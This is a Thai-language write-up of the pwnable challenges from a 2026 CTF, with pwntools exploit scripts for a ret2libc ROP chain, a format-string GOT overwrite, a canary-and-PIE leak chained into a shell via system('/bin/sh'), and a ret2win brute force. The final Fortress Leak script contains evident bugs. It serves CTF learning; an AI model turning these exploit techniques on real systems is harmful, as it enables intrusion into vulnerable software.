การแข่งขัน SECPlayground Cybersplash CTF 2026 ในวันที่ 11 เมษายน ที่ผ่านมา 34 challenges in 6 categories

เอาละครั้งนี้ผมมาแปลกหน่อย ถ้าสังเกตคงเห็นผมเขียน writeup น้อยลง ส่วนใหญ่ก็มาจากคนในทีมผมที่ solve ได้เยอะขึ้นและพลังของ llm ในปัจจุบันด้วย เอาละสำหรับ writeup นี้ผมมาแค่หมวด pwnable เพราะหมวดอื่นคนในทีมผมเอาไปกินหมดละ ถึงข้อสุดท้ายในหมวดนี้ผมจะไม่ทันเพื่อนผมก็เถอะ

สำหรับงานนี้เรามากันสามคน เนื่องจากเพื่อนผมใน section คนนี้ที่สนใจด้านนี้ดูเหมือนจะกระตือรือร้นมากขึ้น

ROPChain Relay
Echo Chamber
Fortress Leak
Overflow Gateway

Challenges#

ROPChain Relay#

A network packet forwarder service is running on a remote server. It accepts a single “payload” packet and forwards it. However, the forwarding logic has a critical buffer management flaw. The binary has NX enabled, so you can’t just inject shell code - you’ll need to think in chains.

และได้ glibc มาด้วย

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.13) stable release version 2.35.

ซึ่งมันรันในเครื่องผมไม่ได้ ผมเลยต้องไป build glibc เพื่อใช้ linker

it’s ok

ชื่อ chall มันก็บอกอยู่แล้วฮะว่าต้องทำ ROP chain

อย่างแรกเรามี gadget free ที่ chall ให้มาใน gadgets function และ vulnerable ที่มี buffer overflow

แล้วไงต่อ?

ROP Chain ท่าทั่วไปคือ ret2libc เพื่อให้ได้ shell

จากที่เห็นเราจำเป็นจะต้องรู้ libc base ก่อน ซึ่งมักจะได้จากการ leak มาจากอะไรสักอย่าง ซึ่งในเคสนี้เราจะ puts เอา got ของ puts ออกมากัน

GOT (Global Offset Table) เก็บ address จริงของ function (หลัง resolve แล้ว)
PLT (Procedure Linkage Table) เป็น stub code ที่เอาไว้เรียก function ผ่าน GOT

ในเคสนี้ GOT จะเก็บที่อยู่จริงของ libc function เราเลยให้ puts แสดง puts@got แล้วหา offset ระหว่าง function นี้กลับไปที่ base address

ทำไมต้องเป็น puts@got? เพราะ linker จะ resolve แค่ที่ bin เราใช้ ซึ่งในเคสนี้เรามีการใช้ puts อยู่แล้วใน bin ของเรา

สรุปเราเลยต้องทำ chain นี้ 2 รอบ รอบแรกทำการ leak libc รอบที่สองทำการ jump ไปที่ system กัน

1
$ strings -a -t x libc.so.6 | grep "/bin/sh"
2
1d8678 /bin/sh

โดยเราจะใช้ string ที่มีอยู่ใน libc อยู่แล้วเป็น 1st args ให้ system

เริ่มจาก buffer overflow จาก array 64 bytes และ read 256 bytes คิดตรงๆก็คือ padding 64 + 8

1
from pwn import *
2

3
context.binary = elf = ELF("./vuln", checksec=True)
4
libc = ELF("./libc.so.6", checksec=True)
5
context.arch = "amd64"
6

7
p = process(["/opt/glibc-2.35/lib/ld-linux-x86-64.so.2", "--library-path", ".", "./vuln"])
8

9
offset = 64 + 8
10
rop = ROP(elf)
11

12
stage1 = flat(
13
    b"A" * offset,                          # padding
14
    rop.find_gadget(["pop rdi", "ret"])[0], # return ไป gadget เพื่อ pop ค่าไปใส่ rdi
15
    elf.got["puts"],                        # &puts@got จะถูก pop เข้า rdi
16
    elf.plt["puts"],                        # return ไป puts@plt call puts(puts@got)
17
    elf.symbols["vulnerable"]               # function ที่จะกลับ (วนกลับมารอบสอง)
18
)
19

20
p.send(stage1)
21

22
# ---
23

24
for i in p.recvall(1).split(b"\n"): print(i)

1
puts_leak = u64(p.recvn(6).ljust(8, b"\x00"))
2
libc.address = puts_leak - libc.sym["puts"] # set libc address (หาก libc.address ยังไม่ได้กำหนด libc.sym จะส่งกลับ offset จาก base)
3

4
log.info(f"puts leak: {hex(puts_leak)}")
5
log.info(f"libc base: {hex(libc.address)}")
6

7
stage2 = flat(
8
    b"A" * offset,                          # padding
9
    rop.find_gadget(["ret"])[0],            # ขยับ rsp + 8 เพื่อ align stack ก่อนเข้า system
10
    rop.find_gadget(["pop rdi", "ret"])[0], # pop ค่า address ของ "/bin/sh" เข้า rdi
11
    next(libc.search(b"/bin/sh\x00")),      # address ของ string "/bin/sh" ใน libc
12
    libc.sym["system"]                      # ret ไป system("/bin/sh")
13
)
14

15
p.send(stage2)
16
p.interactive()

Flag pwn{5R8NLcQGuM}

Echo Chamber#

A new secure messaging relay has been deployed. It claims to simply echo back your messages, but the developers made a critical mistake in how they handle user input. There’s a hidden function in the binary that was supposed to be removed before deployment. Can you exploit the messaging system to trigger it?

มี source code มาให้

เอาละเราต้องทำ something กับ string format ซึ่งก็คือการใช้ %n นั้นเอง

1
int count;
2
printf("Hello%n world\n", &count);
3
// 'count' will now be 5 because "Hello" has 5 characters.
4
printf("count = %d\n", count);
5

6
// Hello world
7
// count = 5

โดยเราจะใช้ exit เป็นตัว call ไปที่ win โดยการแก้ address มัน ซึ่ง exit เป็นสิ่งที่ต้อง call ก่อนออกจาก program แน่นอน และ RELRO: Partial RELRO ก็ทำให้สามารถเขียน GOT ได้ด้วย

เริ่มจากหา offset ที่ input ของเราไปอยู่ argument ลำดับไหน

เพื่อความง่าย pwntool มีให้หมดแล้วฮะ เริ่มจากใช้ FmtStr หา offset

1
from pwn import *
2

3
context.binary = elf = ELF("./vuln")
4

5
def exec_fmt(payload):
6
    p = process(["/opt/glibc-2.35/lib/ld-linux-x86-64.so.2", "--library-path", ".", "./vuln"])
7
    p.sendlineafter(b"[*] Enter your message:\n", payload)
8
    out = p.recvall(timeout=1)
9
    p.close()
10
    return out
11

12
# ---
13

14
autofmt = FmtStr(exec_fmt)
15

16
print("offset =", autofmt.offset)
17
print("padlen =", autofmt.padlen)

ได้ offset = 6 เสร็จแล้วก็ craft payload ด้วย fmtstr_payload ซึ่งมันจะใช้เทคนิคที่เราพูดไปในการสร้าง payload ที่เขียนค่าลงใน address ที่เรากำหนดได้ง่ายๆ

1
offset = 6
2

3
# b'%22c%11$lln%42c%12$hhn%210c%13$hhnaaaabaP@@\x00\x00\x00\x00\x00R@@\x00\x00\x00\x00\x00Q@@\x00\x00\x00\x00\x00'
4

5
output = exec_fmt(fmtstr_payload(offset, { elf.got["exit"]: elf.sym["win"] }))
6
output = output.split(b"\n")[:10]
7
print(output)

Flag pwn{rLOzptCARw}

Fortress Leak#

A “Secure Message Vault” has been deployed with every protection the developers could find - PIE, stack canaries, NX, and Full RELRO. They’re confident it’s impenetrable. but every fortress has a weakness. Can you chain together multiple vulnerabilities to break through all the defenses?

1
// Helper for ROP gadgets (gcc 11+ doesn't generate __libc_csu_init)
2
void __attribute__((used)) gadgets(void) {
3
    __asm__ volatile (
4
        "pop %rdi; ret\n"
5
    );
6
}
7

8
void vault(void) {
9
    char msg[128];
10
    int choice;
11

12
    puts("\n=== Secure Message Vault ===");
13

14
    while (1) {
15
        menu();
16
        if (scanf("%d", &choice) != 1) {
17
            while (getchar() != '\n');
18
            continue;
19
        }
20
        getchar();
21

22
        switch (choice) {
23
            case 1: {
24
                // Store message — safe read
25
                printf("Enter message: ");
26
                memset(msg, 0, sizeof(msg));
27
                read(0, msg, 127);
28
                puts("[+] Message stored.");
29
                break;
30
            }
31
            case 2: {
32
                // Preview message — FORMAT STRING vulnerability
33
                // Bug: uses printf(msg) instead of printf("%s", msg)
34
                // Player can use %p to leak canary, PIE addresses, libc addresses
35
                if (msg[0] == '\0') {
36
                    puts("[-] No message stored.");
37
                    break;
38
                }
39
                puts("[*] Preview:");
40
                printf(msg);
41
                puts("");
42
                break;
43
            }
44
            case 3: {
45
                // Send message — BUFFER OVERFLOW
46
                // Reads up to 512 bytes into 128-byte buffer
47
                puts("[*] Preparing to send...");
48
                printf("Enter final message: ");
49
                read(0, msg, 512);
50
                puts("[+] Message sent!");
51
                return;
52
            }
53
            case 4:
54
                puts("[*] Goodbye.");
55
                exit(0);
56
            default:
57
                puts("[-] Invalid option.");
58
                break;
59
        }
60
    }
61
}

เปิด security เยอะจัด เอาละมาดูกัน ใน chall นี้มี source code มาให้ ซึ่งผมก็ไม่แน่ใจว่าทำไมจะ comment บอกทางดีขนาดนั้น…

gadget เป็น pop rdi ; ret แน่นอน เอาไว้ทำ ROP comment เขาก็บอกอะ
case 2 มี printf(msg)
case 3 buffer overflow (buf 128 read 512)

สรุปก็คือเป็น program เก็บ message และก็ print และก็ read แล้วออกไปไหนก่อน !!!

เอาละ helper gadget เราก็บอกอยู่แล้วว่าเป็น ROP งั้นเรามาคิดกันว่าเราจะทำยังไง

ret2shell แหละ แน่นอนปลายทาง system("/bin/sh")

เราต้องใช้อะไรบ้าง?

leak PIE สำหรับใช้หา gadget address
leak canary สำหรับทำ stack overflow
leak libc สำหรับหา base address เพื่อคำนวณ system address และ /bin/sh ต่อ

เหงื่อตกแปป เริ่มจากหา leak

1
from pwn import *
2

3
context.binary = elf = ELF("./vuln")
4
libc = ELF("./libc.so.6")
5

6
p = process(["/opt/glibc-2.35/lib/ld-linux-x86-64.so.2", "--library-path", ".", "./vuln"])
7

8
p.recvuntil(b"> ")
9
p.sendline(b"1")
10
p.sendline(b".".join([f"%{i}p".encode() for i in range(2, 29)])) # 126 bytes
11
p.sendline(b"2")
12
p.recvuntil(b"[*] Preview:\n")
13
leaks = [int(p, 16) if p.startswith(b"0x") else 0 for p in p.recvuntil(b"\n\n\n").replace(b" ", b"").strip().split(b".")]
14

15
for k, v in enumerate(leaks, 2):
16
    print(f"[{k}] => {hex(v)}")

เพื่อ confirm args ไหนเป็น canary เราก็จะ break มันตอนที่ canary อยู่ใน register (เอาจริงๆเดาเอาก็ได้ครับ ลงท้าย 00)

คำนวน break point 0x7f72d3763000 + (0x00101510 - 0x00100000) = 0x7f72d3764510 (start + (offset - image base))

เราได้ leak canary แล้ว ก็คือ %25$p และถัดไป saved RBP ที่ 26 และ return address ที่เป็น PIE ที่ %27$p

ซึ่ง return นี้จะกลับมาที่ main ซึ่งเราจะคำนวน offset ไป PIE base ได้ 0x7f72d37645b3 - (0x001015b3 - 0x00100000) = 0x7f72d3763000 (return - (offset - image base)) ซึ่งก็ตรงตาม vmmap

ต่อมาเราก็จะทำการหา arbitrary read สำหรับหาอ่านค่าใน stack กัน โดยเราต้องการหา GOT ของ printf หรือ puts ก็ได้

1
from pwn import *
2

3
context.binary = elf = ELF("./vuln", checksec=False)
4
libc = ELF("./libc.so.6", checksec=False)
5

6
p = process(["/opt/glibc-2.35/lib/ld-linux-x86-64.so.2", "--library-path", ".", "./vuln"])
7

8
def store(payload):
9
    p.sendline(b"1")
10
    p.sendlineafter(b"Enter message: ", payload)
11
    p.recvuntil(b"[+] Message stored.\n\n")
12

13
def preview():
14
    p.sendline(b"2")
15
    p.recvuntil(b"[*] Preview:\n")
16
    return p.recvuntil(b"\n\n\n")[:-3]
17

18
marker_a = 0x4141414142424242
19
marker_b = hex(marker_a).encode()
20

21
for i in range(1, 30):
22
    payload = f"%{i}$p".encode()
23
    payload = payload.ljust(16, b"A")
24
    payload += p64(marker_a)
25

26
    store(payload)
27
    leak = preview()
28
    if marker_b in leak:
29
        print(i, marker_b, leak)

โดยเราจะใช้ padding 16 ซึ่งค่า offset ที่ตรงตามที่ต้องการคือ 10 โดยมันจะได้ 0x4141414142424242 กลับออกมา

แล้วมันใช้ทำอะไร? เราจะใช้มัน dereference ค่า pointer และต่อมาที่ต้องการคือ address main return from vault offset

เอาละตอนนี้เรารู้

canary index: 25
PIE return index: 27
arbitrary read arg: 10
main return from vault offset: 0x15b3

แวะกลับไปหา padding ของ buffer ก่อน โดยเราจะใช้ break เดียวกับตอนหา canary โดยเราเขียน A เข้าไปเป็น mark แล้วก็วัดไปหา canary

ได้ 136 ก็คือ 128 + 8 นั้นเองถึงจะถึง canary ดังนั้น padding คือ 136 นั้นเอง

เราก็จะเริ่มกัน

1
# ---
2

3
rop = ROP("./vuln")
4

5
def store(payload):
6
    p.sendlineafter(b"> ", b"1")
7
    p.sendafter(b"Enter message: ", payload)
8

9
def preview():
10
    p.sendlineafter(b"> ", b"2")
11
    p.recvuntil(b"[*] Preview:\n")
12
    return p.recvuntil(b"\n\n[1] Store message", drop=True)
13

14
# leak canary and pie base
15
store(b"%25$p.%27$p")
16
leak = preview().decode()
17
canary_s, pie_ret_s = leak.split(".")
18
canary = int(canary_s, 16)
19
pie_base = int(pie_ret_s, 16) - 0x15b3
20

21
log.info(f"canary = {canary:#x}")
22
log.info(f"pie_base = {pie_base:#x}")
23

24
# leak printf@got
25
payload = b"%10$s\x00"
26
payload = payload.ljust(16, b"A")
27
payload += p64(pie_base + elf.got["printf"])
28
store(payload)
29
printf_bytes = preview()
30
printf_addr = u64(printf_bytes.ljust(8, b"\x00"))
31

32
# cal libc base
33
libc.address = printf_addr - libc.symbols["printf"]
34

35
log.info(f"printf = {printf_addr:#x}")
36
log.info(f"libc_base = {libc.address:#x}")
37

38
# payload
39
payload = flat(
40
    b"A" * 128 + 8, # 136 fill buffer + (int + alignment?)
41
    canary,
42
    b"B" * 8, # saved RBP
43
    pie_base + payload.find_gadget(["ret"])[0],
44
    pie_base + payload.find_gadget(["pop rdi", "ret"])[0],
45
    next(libc.search(b"/bin/sh\x00")),
46
    libc.symbols["system"]
47
)
48

49
p.sendlineafter(b"> ", b"3")
50
p.sendafter(b"Enter final message: ", payload)
51
p.interactive()

Flag pwn{vjQIkJtBD9}

Overflow Gateway#

A legacy access control system has been discovered running on an internal server. The system prompts users for an “access code” before granting entry. Intelligence reports suggest the developers left a backdoor function in the binary during development - but it was never wired up to the main logic. Can you find a way to trigger it and gain access?

ret2win ดีๆเลย easy kub, no PIE, มี buffer overflow แค่ padding เขียน win address ก็จบ buffer 64 + saved RBP 8 = 72

แต่ๆ มันดันไม่ได้นะสิครับ หลังจากเราใช้ linker version ดังกล่าว ผมเลยแก้ปัญหาโดยการ brute force ซะเลย…

1
from pwn import *
2

3
context.binary = elf = ELF("./vuln", checksec=True)
4
context.arch = "amd64"
5

6
for i in range(elf.symbols["win"], elf.symbols["vulnerable"]):
7
    p = process(["/opt/glibc-2.35/lib/ld-linux-x86-64.so.2", "--library-path", ".", "./vuln"])
8
    offset = 64 + 8
9
    p.recvuntil("[*] Enter your access code:\n")
10
    p.sendline(flat((b"A" * offset), i))
11
    data = p.recvall(1)
12
    print(data)
13
    if b"flag" in data.lower(): break

Flag pwn{USCFLWiaVP}